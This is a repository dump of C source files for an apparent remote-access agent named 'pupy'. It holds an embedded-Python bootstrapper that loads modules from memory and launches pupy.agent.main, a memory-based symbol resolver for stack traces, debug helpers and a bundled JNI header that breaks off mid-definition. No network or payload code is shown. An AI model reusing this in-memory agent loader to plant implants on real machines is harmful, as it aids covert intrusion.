if (!py_module_from_stdlib(py_stdlib, "_collections_abc", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "collections.abc", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "collections", 1)){
goto lbExit4;
}
if (!py_module_from_stdlib(py_stdlib, "functools", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "contextlib", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, ENCODINGS, 1))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "datetime", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "io", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "umsgpack", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "copyreg", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "enum", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "re", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "_compat_pickle", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "pickle", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "quopri", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "importlib", 1))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "importlib._abc", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "importlib.util", 0))
goto lbExit4;
//if (!py_module_from_stdlib(py_stdlib, "pupy.utils", 0))
// goto lbExit4;
//if (!py_module_from_stdlib(py_stdlib, "stringprep", 0))
// goto lbExit4;
// if (!py_module_from_stdlib(py_stdlib, "io", 0))
// goto lbExit4;
/* if (!py_module_from_stdlib(py_stdlib, "re", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "base64", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "bz2", 0))
goto lbExit4;
*/
dprint("Preload encodings\n");
py_stdlib_keys = PyDict_Keys(py_stdlib);
if (!py_stdlib_keys)
goto lbExit1;
py_stdlib_keys_iter = PyObject_GetIter(py_stdlib_keys);
if (!py_stdlib_keys_iter) {
Py_DecRef(py_stdlib_keys);
goto lbExit1;
}
while ((py_stdlib_keys_item = PyIter_Next(py_stdlib_keys_iter))) {
char *filepath;
Py_ssize_t filepath_len;
filepath = PyUnicode_AsUTF8AndSize(py_stdlib_keys_item, &filepath_len);
if (!filepath) {
PyErr_Clear();
} else if (strstr(filepath, ENCODINGS "/") == filepath &&
strstr(filepath, ENCODINGS "/" VPATH_INIT_EXT) != filepath) {
char *child = strdup(filepath);
child[last_chr_offt(child, '.')] = '\0';
child[sizeof(ENCODINGS) - 1] = '.';
if (!py_module_from_stdlib(py_stdlib, child, 0)) {
dprint("Load encoding: %s (%s): failed\n", child, filepath);
PyErr_Clear();
} else {
dprint("Loaded encoding: %s\n", child);
}
free(child);
}
Py_DecRef(py_stdlib_keys_item);
}
Py_DecRef(py_stdlib_keys_iter);
dprint("Calling _Py_InitializeMain() ...\n");
status = _Py_InitializeMain();
/* if (PyStatus_Exception(status)) {
dprint("Error calling _Py_InitializeMain\n");
Py_ExitStatusException(status);
}
*/
dprint("Clean sys defaults\n");
py_clear_sys_list("path");
//py_clear_sys_list("meta_path");
//py_clear_sys_list("path_hooks");
//mandatory !!
py_clear_sys_dict("path_importer_cache");
/*
res = PyRun_SimpleString(
"import _pupy;"
"print(_pupy, "
"file=sys.stderr)");
if (res < 0) {
exit(1);
}
*/
dprint("Loading pupy\n");
if (!py_module_from_stdlib(py_stdlib, "pupy", 1))
goto lbExit4;
//if (!py_module_from_stdlib(py_stdlib, "pupy.agent.winerror_hacks", 0))
// goto lbExit4;
pupy = py_module_from_stdlib(py_stdlib, "pupy.agent", 1);
if (!pupy)
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "pupy.agent.utils", 0))
goto lbExit4;
pupy_dict = PyModule_GetDict(pupy);
py_main = PyDict_GetItemString(pupy_dict, "main");
if (!py_main) {
dprint("pupy.agent.main not found\n");
goto lbExit3;
}
#ifdef DEBUG
py_debug = PyBool_FromLong(1);
#else
py_debug = PyBool_FromLong(0);
#endif
dprint(
"Call pupy.agent.main: %p(%p, %p, %p)\n",
py_main, Py_None, py_debug, py_config
);
Py_IncRef(py_main);
Py_IncRef(Py_None);
Py_IncRef(py_debug);
py_eval_result = PyObject_CallFunctionObjArgs(
py_main, Py_None, py_debug, py_config, py_stdlib, NULL);
if (!py_eval_result) {
PyErr_Print();
} else {
Py_DecRef(py_eval_result);
}
Py_DecRef(py_main);
Py_DecRef(Py_None);
Py_DecRef(py_debug);
dprint("Completed (py_eval_result: %p)\n", py_eval_result);
lbExit4:
Py_DecRef(py_config);
lbExit3:
Py_DecRef(py_config_list);
lbExit2:
//Py_DecRef(py_stdlib);
lbExit1:
dprint("Exit\n");
}
void deinitialize_python() {
dprint("Deinitialize python\n");
PyGILState_Release(restore_state);
Py_Finalize();
}
int Py_RefCnt(const PyObject *object) {
if (!object)
return -1;
return *((int *) object);
}
================================================
FILE: client/common/Python-dynload.h
================================================
/*
WARNING !
DEPENDS ON PYTHON ABI!
*/
#ifndef PYTHON_DYNLOAD_H
#define PYTHON_DYNLOAD_H
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
#define CO_MAXBLOCKS 20
typedef void *PyObject;
typedef struct {
int b_type;
int b_handler;
int b_level;
} PyTryBlock;
typedef PyObject *(*PyCFunction)(PyObject *, PyObject *);
typedef
enum {PyGILState_LOCKED, PyGILState_UNLOCKED}
PyGILState_STATE;
typedef struct {
char *ml_name;
PyCFunction ml_meth;
int ml_flags;
char *ml_doc;
} PyMethodDef;
struct py_imports {
char *name;
void (*proc)();
};
#ifdef _WIN64
#define ssize_t signed long long
#else
#define ssize_t signed long
#endif
#ifndef Py_ssize_t
#define Py_ssize_t ssize_t
#endif
#ifndef BOOL
typedef int BOOL;
#define TRUE 1
#define FALSE 0
#endif
#ifndef Py_INCREF
#define Py_INCREF Py_IncRef
#endif
#ifndef Py_DECREF
#define Py_DECREF Py_DecRef
#endif
#ifndef Py_XINCREF
#define Py_XINCREF(op) do { if ((op) == NULL) ; else Py_INCREF(op); } while (0)
#endif
#ifndef Py_XDECREF
#define Py_XDECREF(op) do { if ((op) == NULL) ; else Py_DECREF(op); } while (0)
#endif
#define METH_OLDARGS 0x0000
#define METH_VARARGS 0x0001
#define METH_KEYWORDS 0x0002
/* METH_NOARGS and METH_O must not be combined with the flags above. */
#define METH_NOARGS 0x0004
#define METH_O 0x0008
/* METH_CLASS and METH_STATIC are a little different; these control
the construction of methods for a class. These cannot be used for
functions in modules. */
#define METH_CLASS 0x0010
#define METH_STATIC 0x0020
#define PyCFunction_New(ML, SELF) PyCFunction_NewEx((ML), (SELF), NULL)
#define PyInt_Check(op) PyObject_IsInstance(op, &PyInt_Type)
#define PyUnicode_Check(op) PyObject_IsInstance(op, &PyUnicode_Type)
#define PyString_Check(op) PyObject_IsInstance(op, &PyString_Type)
#define Py_None (&_Py_NoneStruct)
#define DL_EXPORT(x) x
#define PYTHON_API_VERSION 1013
int Py_RefCnt(const PyObject *object);
extern struct py_imports py_sym_table[];
BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object);
void run_pupy(void);
void deinitialize_python(void);
#define VPATH_PREFIX "pupy://"
#define VPATH_EXT ".pyo"
#define VPATH_INIT_EXT "/__init__" VPATH_EXT
#define ENCODINGS "encodings"
typedef struct {
Py_ssize_t ob_refcnt;
struct _typeobject *ob_type;
int co_argcount;
int co_nlocals;
int co_stacksize;
int co_flags;
PyObject *co_code;
PyObject *co_consts;
PyObject *co_names;
PyObject *co_varnames;
PyObject *co_freevars;
PyObject *co_cellvars;
PyObject *co_filename;
PyObject *co_name;
int co_firstlineno;
PyObject *co_lnotab;
void *co_zombieframe;
PyObject *co_weakreflist;
} PyCodeObject;
typedef struct _is {
struct _is *next;
struct _ts *tstate_head;
PyObject *modules;
PyObject *sysdict;
PyObject *builtins;
PyObject *modules_reloading;
PyObject *codec_search_path;
PyObject *codec_search_cache;
PyObject *codec_error_registry;
/* PRIVATE PART OMITTED */
} PyInterpreterState;
struct _frame;
typedef struct _ts {
struct _ts *next;
PyInterpreterState *interp;
struct _frame *frame;
int recursion_depth;
int tracing;
int use_tracing;
void *c_profilefunc;
void *c_tracefunc;
PyObject *c_profileobj;
PyObject *c_traceobj;
PyObject *curexc_type;
PyObject *curexc_value;
PyObject *curexc_traceback;
PyObject *exc_type;
PyObject *exc_value;
PyObject *exc_traceback;
PyObject *dict;
int tick_counter;
int gilstate_counter;
PyObject *async_exc;
long thread_id;
int trash_delete_nesting;
PyObject *trash_delete_later;
} PyThreadState;
typedef struct _frame {
Py_ssize_t ob_refcnt;
struct _typeobject *ob_type;
Py_ssize_t ob_size;
struct _frame *f_back;
PyCodeObject *f_code;
PyObject *f_builtins;
PyObject *f_globals;
PyObject *f_locals;
PyObject **f_valuestack;
PyObject **f_stacktop;
PyObject *f_trace;
PyObject *f_exc_type, *f_exc_value, *f_exc_traceback;
PyThreadState *f_tstate;
int f_lasti;
int f_lineno;
int f_iblock;
/* PRIVATE */
} PyFrameObject;
#include "import-tab.h"
#endif // PYTHON_DYNLOAD_H
================================================
FILE: client/common/Python-stacktrace.c
================================================
#include "debug.h"
#include "Python-dynload-os.h"
#include "Python-dynload.h"
typedef void (*Py_GetStackTraceCb_t) (const char *line, void *cbdata);
typedef int (*Py_IsInitialized_t)(void);
typedef int (*PyEval_ThreadsInitialized_t)(void);
typedef PyGILState_STATE (*PyGILState_Ensure_t)(void);
typedef void (*PyGILState_Release_t)(PyGILState_STATE);
typedef PyThreadState* (*PyGILState_GetThisThreadState_t)(void);
typedef int (*PyCode_Addr2Line_t)(PyCodeObject *, int);
static
int Py_GetCurrentThreadStackTrace(Py_GetStackTraceCb_t cb, void *cbdata) {
Py_IsInitialized_t pIsInitialized = NULL;
PyEval_ThreadsInitialized_t pThreadsInitialized = NULL;
PyGILState_Ensure_t pGILState_Ensure = NULL;
PyGILState_Release_t pGILState_Release = NULL;
PyGILState_GetThisThreadState_t pGILState_GetThisThreadState = NULL;
PyCode_Addr2Line_t pCode_Addr2Line = NULL;
PyGILState_STATE GIL_state;
PyThreadState* Current_Thread_state;
PyThreadState* Thread_state;
BOOL blCurrentThreadDumped = FALSE;
DWORD dwDumpedThreadsCount = 0;
HMODULE hPythonLib = CheckLibraryLoaded(PYTHON_LIB_NAME);
if (!hPythonLib) {
dprint(
"Py_GetCurrentThreadStackTrace: python lib (\"%s\") not found\n",
PYTHON_LIB_NAME
);
return -1;
}
pIsInitialized = (Py_IsInitialized_t) MemResolveSymbol(
hPythonLib, "Py_IsInitialized");
pThreadsInitialized = (PyEval_ThreadsInitialized_t) MemResolveSymbol(
hPythonLib, "PyEval_ThreadsInitialized");
pGILState_Ensure = (PyGILState_Ensure_t) MemResolveSymbol(
hPythonLib, "PyGILState_Ensure");
pGILState_Release = (PyGILState_Release_t) MemResolveSymbol(
hPythonLib, "PyGILState_Release");
pGILState_GetThisThreadState = (PyGILState_GetThisThreadState_t) MemResolveSymbol(
hPythonLib, "PyGILState_GetThisThreadState");
pCode_Addr2Line = (PyCode_Addr2Line_t) MemResolveSymbol(
hPythonLib, "PyCode_Addr2Line");
if (!(pIsInitialized && pThreadsInitialized && pGILState_Ensure &&
pGILState_Release && pGILState_GetThisThreadState && pCode_Addr2Line))
{
dprint(
"Py_GetCurrentThreadStackTrace: Not all functions found\n"
);
return -2;
}
if (!pIsInitialized()) {
dprint(
"Py_GetCurrentThreadStackTrace: Python is not initialized\n"
);
return -3;
}
if (!pThreadsInitialized()) {
dprint(
"Py_GetCurrentThreadStackTrace: Python threads are not initialized\n"
);
return -4;
}
Current_Thread_state = pGILState_GetThisThreadState();
if (!Current_Thread_state) {
dprint(
"Py_GetCurrentThreadStackTrace: Thread state is NULL\n"
);
return -5;
}
dprint("Py_GetCurrentThreadStackTrace: start\n");
GIL_state = pGILState_Ensure();
Thread_state = Current_Thread_state;
while (Thread_state && dwDumpedThreadsCount ++ < 256) {
if (Thread_state == Current_Thread_state) {
if (blCurrentThreadDumped) {
dprint("Current thread was already dumped\n");
Thread_state = Thread_state->next;
continue;
} else {
dprint("Dumping current thread first time\n");
cb(cbdata, "Current Thread", NULL, Thread_state->thread_id);
}
} else {
cb(cbdata, "Thread", NULL, Thread_state->thread_id);
}
if (Thread_state->frame) {
PyFrameObject *frame = Thread_state->frame;
dprint(
"Py_GetCurrentThreadStackTrace: parse %p (Thread ID: %d)\n",
frame, Thread_state->thread_id
);
dprint(
"Py_GetCurrentThreadStackTrace: Top frame object: %p size=%d refs=%d\n",
frame, frame->ob_size, frame->ob_refcnt
);
dprint(
"Py_GetCurrentThreadStackTrace: Top frame code object: %p refs=%d\n",
frame->f_code, frame->f_code->ob_refcnt
);
dprint(
"Py_GetCurrentThreadStackTrace: Top frame code object: function=%s, file=%s\n",
frame->f_code->co_name, frame->f_code->co_filename
);
while (frame) {
int line = pCode_Addr2Line(frame->f_code, frame->f_lasti);
const char *funcname = PyBytes_AsString(frame->f_code->co_name);
const char *filename = PyBytes_AsString(frame->f_code->co_filename);
dprint(
"Py_GetCurrentThreadStackTrace: func=%s file=%s line=%d\n",
funcname, filename, line
);
cb(cbdata, funcname, filename, line);
frame = frame->f_back;
}
}
if (Thread_state == Current_Thread_state) {
dprint("Switching to all threads\n");
Thread_state = Current_Thread_state->interp->tstate_head;
blCurrentThreadDumped = TRUE;
} else {
dprint("Continue to dump all threads\n");
Thread_state = Thread_state->next;
}
}
pGILState_Release(GIL_state);
dprint("Py_GetCurrentThreadStackTrace: complete\n");
return 0;
}
================================================
FILE: client/common/Python-stacktrace.h
================================================
#ifndef PYTHON_STACKTRACE_H
#define PYTHON_STACKTRACE_H
typedef void (*Py_GetStackTraceCb_t)(
void *cbdata, const char *function, const char *file, unsigned int line
);
static int Py_GetCurrentThreadStackTrace(Py_GetStackTraceCb_t cb, void *cbdata);
#endif
================================================
FILE: client/common/debug.c
================================================
#include "debug.h"
static FILE* debug_log = NULL;
int dprint(const char *fmt, ...) {
va_list args;
int n;
FILE *log = stdout;
if (debug_log != NULL)
log = debug_log;
va_start (args, fmt);
n = vfprintf(log, fmt, args);
va_end (args);
fflush(log);
return n;
}
#ifdef _WIN32
int dwprint(const wchar_t *fmt, ...) {
va_list args;
int n;
FILE *log = stdout;
if (debug_log != NULL)
log = debug_log;
va_start (args, fmt);
n = vfwprintf(log, fmt, args);
va_end (args);
fflush(log);
return n;
}
#endif
void set_debug_log(const char *dest) {
FILE * new_debug_log = fopen(dest, "w+");
FILE * old_debug_log = debug_log;
if (!new_debug_log) {
dprint("Failed to open new debug log dest: %s\n", dest);
return;
}
dprint("Redirecting debug log to %s\n", dest);
debug_log = new_debug_log;
if (old_debug_log)
fclose(old_debug_log);
}
================================================
FILE: client/common/debug.h
================================================
#ifndef __DEBUG_H
#define __DEBUG_H
#include <stdio.h>
#include <stdarg.h>
#ifdef DEBUG
int dprint(const char *fmt, ...);
#ifdef _WIN32
int dwprint(const wchar_t *fmt, ...);
#endif
void set_debug_log(const char *dest);
#define DOC(x) x
#else
#define DOC(x) ""
#define dprint(...) do {} while (0)
#define dwprint(...) do {} while (0)//
#endif
#endif /* __DEBUG_H */
================================================
FILE: client/common/jni.h
================================================
/*
* Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* We used part of Netscape's Java Runtime Interface (JRI) as the starting
* point of our design and implementation.
*/
/******************************************************************************
* Java Runtime Interface
* Copyright (c) 1996 Netscape Communications Corporation. All rights reserved.
*****************************************************************************/
#ifndef _JAVASOFT_JNI_H_
#define _JAVASOFT_JNI_H_
#include <stdio.h>
#include <stdarg.h>
/* jni_md.h contains the machine-dependent typedefs for jbyte, jint
and jlong */
#include "jni_md.h"
#ifdef __cplusplus
extern "C" {
#endif
/*
* JNI Types
*/
#ifndef JNI_TYPES_ALREADY_DEFINED_IN_JNI_MD_H
typedef unsigned char jboolean;
typedef unsigned short jchar;
typedef short jshort;
typedef float jfloat;
typedef double jdouble;
typedef jint jsize;
#ifdef __cplusplus
class _jobject {};
class _jclass : public _jobject {};
class _jthrowable : public _jobject {};
class _jstring : public _jobject {};
class _jarray : public _jobject {};
class _jbooleanArray : public _jarray {};
class _jbyteArray : public _jarray {};
class _jcharArray : public _jarray {};
class _jshortArray : public _jarray {};
class _jintArray : public _jarray {};
class _jlongArray : public _jarray {};
class _jfloatArray : public _jarray {};
class _jdoubleArray : public _jarray {};
class _jobjectArray : public _jarray {};
typedef _jobject *jobject;
typedef _jclass *jclass;
typedef _jthrowable *jthrowable;
typedef _jstring *jstring;
typedef _jarray *jarray;
typedef _jbooleanArray *jbooleanArray;
typedef _jbyteArray *jbyteArray;
typedef _jcharArray *jcharArray;
typedef _jshortArray *jshortArray;
typedef _jintArray *jintArray;
typedef _jlongArray *jlongArray;
typedef _jfloatArray *jfloatArray;
typedef _jdoubleArray *jdoubleArray;
typedef _jobjectArray *jobjectArray;
#else
struct _jobject;
typedef struct _jobject *jobject;
typedef jobject jclass;
typedef jobject jthrowable;
typedef jobject jstring;
typedef jobject jarray;
typedef jarray jbooleanArray;
typedef jarray jbyteArray;
typedef jarray jcharArray;
typedef jarray jshortArray;
typedef jarray jintArray;
typedef jarray jlongArray;
typedef jarray jfloatArray;
typedef jarray jdoubleArray;
typedef jarray jobjectArray;
#endif
typedef jobject jweak;
typedef union jvalue {
jboolean z;
jbyte b;
jchar c;
jshort s;
jint i;
jlong j;
jfloat f;
jdouble d;
jobject l;
} jvalue;
struct _jfieldID;
typedef struct _jfieldID *jfieldID;
struct _jmethodID;
typedef struct _jmethodID *jmethodID;
/* Return values from jobjectRefType */
typedef enum _jobjectType {
JNIInvalidRefType = 0,
JNILocalRefType = 1,
JNIGlobalRefType = 2,
JNIWeakGlobalRefType = 3
} jobjectRefType;
#endif /* JNI_TYPES_ALREADY_DEFINED_IN_JNI_MD_H */
/*
* jboolean constants
*/
#define JNI_FALSE 0
#define JNI_TRUE 1
/*
* possible return values for JNI functions.
*/
#define JNI_OK 0 /* success */
#define JNI_ERR (-1) /* unknown error */
#define JNI_EDETACHED (-2) /* thread detached from the VM */
#define JNI_EVERSION (-3) /* JNI version error */
#define JNI_ENOMEM (-4) /* not enough memory */
#define JNI_EEXIST (-5) /* VM already created */
#define JNI_EINVAL (-6) /* invalid arguments */
/*
* used in ReleaseScalarArrayElements
*/
#define JNI_COMMIT 1
#define JNI_ABORT 2
/*
* used in RegisterNatives to describe native method name, signature,
* and function pointer.
*/
typedef struct {
char *name;
char *signature;
void *fnPtr;
} JNINativeMethod;
/*
* JNI Native Method Interface.
*/
struct JNINativeInterface_;
struct JNIEnv_;
#ifdef __cplusplus
typedef JNIEnv_ JNIEnv;
#else
typedef const struct JNINativeInterface_ *JNIEnv;
#endif
/*
* JNI Invocation Interface.
*/
struct JNIInvokeInterface_;
struct JavaVM_;
#ifdef __cplusplus
typedef JavaVM_ JavaVM;
#else
typedef const struct JNIInvokeInterface_ *JavaVM;
#endif
struct JNINativeInterface_ {
void *reserved0;
void *reserved1;
void *reserved2;
void *reserved3;
jint (JNICALL *GetVersion)(JNIEnv *env);
jclass (JNICALL *DefineClass)
(JNIEnv *env, const char *name, jobject loader, const jbyte *buf,
jsize len);
jclass (JNICALL *FindClass)
(JNIEnv *env, const char *name);
jmethodID (JNICALL *FromReflectedMethod)
(JNIEnv *env, jobject method);
jfieldID (JNICALL *FromReflectedField)
(JNIEnv *env, jobject field);
jobject (JNICALL *ToReflectedMethod)
(JNIEnv *env, jclass cls, jmethodID methodID, jboolean isStatic);
jclass (JNICALL *GetSuperclass)
(JNIEnv *env, jclass sub);
jboolean (JNICALL *IsAssignableFrom)
(JNIEnv *env, jclass sub, jclass sup);
jobject (JNICALL *ToReflectedField)
(JNIEnv *env, jclass cls, jfieldID fieldID, jboolean isStatic);
jint (JNICALL *Throw)
(JNIEnv *env, jthrowable obj);
jint (JNICALL *ThrowNew)
(JNIEnv *env, jclass clazz, const char *msg);
jthrowable (JNICALL *ExceptionOccurred)
(JNIEnv *env);
void (JNICALL *ExceptionDescribe)
(JNIEnv *env);
void (JNICALL *ExceptionClear)
(JNIEnv *env);
void (JNICALL *FatalError)
(JNIEnv *env, const char *msg);
jint (JNICALL *PushLocalFrame)
(JNIEnv *env, jint capacity);
jobject (JNICALL *PopLocalFrame)
(JNIEnv *env, jobject result);
jobject (JNICALL *NewGlobalRef)
(JNIEnv *env, jobject lobj);
void (JNICALL *DeleteGlobalRef)
(JNIEnv *env, jobject gref);
void (JNICALL *DeleteLocalRef)
(JNIEnv *env, jobject obj);
jboolean (JNICALL *IsSameObject)
(JNIEnv *env, jobject obj1, jobject obj2);
jobject (JNICALL *NewLocalRef)
(JNIEnv *env, jobject ref);
jint (JNICALL *EnsureLocalCapacity)
(JNIEnv *env, jint capacity);
jobject (JNICALL *AllocObject)
(JNIEnv *env, jclass clazz);
jobject (JNICALL *NewObject)
(JNIEnv *env, jclass clazz, jmethodID methodID, ...);
jobject (JNICALL *NewObjectV)
(JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
jobject (JNICALL *NewObjectA)
(JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);
jclass (JNICALL *GetObjectClass)
(JNIEnv *env, jobject obj);
jboolean (JNICALL *IsInstanceOf)
(JNIEnv *env, jobject obj, jclass clazz);
jmethodID (JNICALL *GetMethodID)
(JNIEnv *env, jclass clazz, const char *name, const char *sig);
jobject (JNICALL *CallObjectMethod)
(JNIEnv *env, jobject obj, jmethodID methodID, ...);
jobject (JNICALL *CallObjectMethodV)
(JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
jobject (JNICALL *CallObjectMethodA)
(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args);
jboolean (JNICALL *CallBooleanMethod)
(JNIEnv *env, jobject obj, jmethodID methodID, ...);
jboolean (JNICALL *CallBooleanMethodV)
(JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
jboolean (JNICALL *CallBooleanMethodA)
(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args);
jbyte (JNICALL *CallByteMethod)
(JNIEnv *env, jobject obj, jmethodID methodID, ...);
jbyte (JNICALL *CallByteMethodV)
(JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
jbyte (JNICALL *CallByteMethodA)
(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);
jchar (JNICALL *CallCharMethod)
(JNIEnv *env, jobject obj, jmethodID methodID, ...);
jchar (JNICALL *CallCharMethodV)
(JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
jchar (JNICALL *CallCharMethodA)
(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);
jshort (JNICALL *CallShortMethod)
(JNIEnv *env, jobject obj, jmethodID methodID, ...);
jshort (JNICALL *CallShortMethodV)
(JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
jshort (JNICALL *CallShortMethodA)
(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);
jint (JNICALL *CallIntMethod)
(JNIEnv *env, jobject obj, jmethodID methodID, ...);
jint (JNICALL *CallIntMethodV)
(JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
jint (JNICALL *CallIntMethodA)
(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);
jlong (JNICALL *CallLongMethod)
(JNIEnv *env, jobject obj, jmethodID methodID, ...);
jlong (JNICALL *CallLongMethodV)
(JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
jlong (JNICALL *CallLongMethodA)
(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);
jfloat (JNICALL *CallFloatMethod)
(JNIEnv *env, jobject obj, jmethodID methodID, ...);
jfloat (JNICALL *CallFloatMethodV)
(JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
jfloat (JNICALL *CallFloatMethodA)
(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);
jdouble (JNICALL *CallDoubleMethod)
(JNIEnv *env, jobject obj, jmethodID methodID, ...);
jdouble (JNICALL *CallDoubleMethodV)
(JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
jdouble (JNICALL *CallDoubleMethodA)
(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);
void (JNICALL *CallVoidMethod)
(JNIEnv *env, jobject obj, jmethodID methodID, ...);
void (JNICALL *CallVoidMethodV)
(JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
void (JNICALL *CallVoidMethodA)
(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args);
jobject (JNICALL *CallNonvirtualObjectMethod)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
jobject (JNICALL *CallNonvirtualObjectMethodV)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
va_list args);
jobject (JNICALL *CallNonvirtualObjectMethodA)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
const jvalue * args);
jboolean (JNICALL *CallNonvirtualBooleanMethod)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
jboolean (JNICALL *CallNonvirtualBooleanMethodV)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
va_list args);
jboolean (JNICALL *CallNonvirtualBooleanMethodA)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
const jvalue * args);
jbyte (JNICALL *CallNonvirtualByteMethod)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
jbyte (JNICALL *CallNonvirtualByteMethodV)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
va_list args);
jbyte (JNICALL *CallNonvirtualByteMethodA)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
const jvalue *args);
jchar (JNICALL *CallNonvirtualCharMethod)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
jchar (JNICALL *CallNonvirtualCharMethodV)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
va_list args);
jchar (JNICALL *CallNonvirtualCharMethodA)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
const jvalue *args);
jshort (JNICALL *CallNonvirtualShortMethod)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
jshort (JNICALL *CallNonvirtualShortMethodV)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
va_list args);
jshort (JNICALL *CallNonvirtualShortMethodA)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
const jvalue *args);
jint (JNICALL *CallNonvirtualIntMethod)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
jint (JNICALL *CallNonvirtualIntMethodV)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
va_list args);
jint (JNICALL *CallNonvirtualIntMethodA)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
const jvalue *args);
jlong (JNICALL *CallNonvirtualLongMethod)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
jlong (JNICALL *CallNonvirtualLongMethodV)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
va_list args);
jlong (JNICALL *CallNonvirtualLongMethodA)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
const jvalue *args);
jfloat (JNICALL *CallNonvirtualFloatMethod)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
jfloat (JNICALL *CallNonvirtualFloatMethodV)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
va_list args);
jfloat (JNICALL *CallNonvirtualFloatMethodA)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
const jvalue *args);
jdouble (JNICALL *CallNonvirtualDoubleMethod)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
jdouble (JNICALL *CallNonvirtualDoubleMethodV)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
va_list args);
jdouble (JNICALL *CallNonvirtualDoubleMethodA)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
const jvalue *args);
void (JNICALL *CallNonvirtualVoidMethod)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
void (JNICALL *CallNonvirtualVoidMethodV)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
va_list args);
void (JNICALL *CallNonvirtualVoidMethodA)
(JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
const jvalue * args);
jfieldID (JNICALL *GetFieldID)
(JNIEnv *env, jclass clazz, const char *name, const char *sig);
jobject (JNICALL *GetObjectField)
(JNIEnv *env, jobject obj, jfieldID fieldID);
jboolean (JNICALL *GetBooleanField)
(JNIEnv *env, jobject obj, jfieldID fieldID);
jbyte (JNICALL *GetByteField)
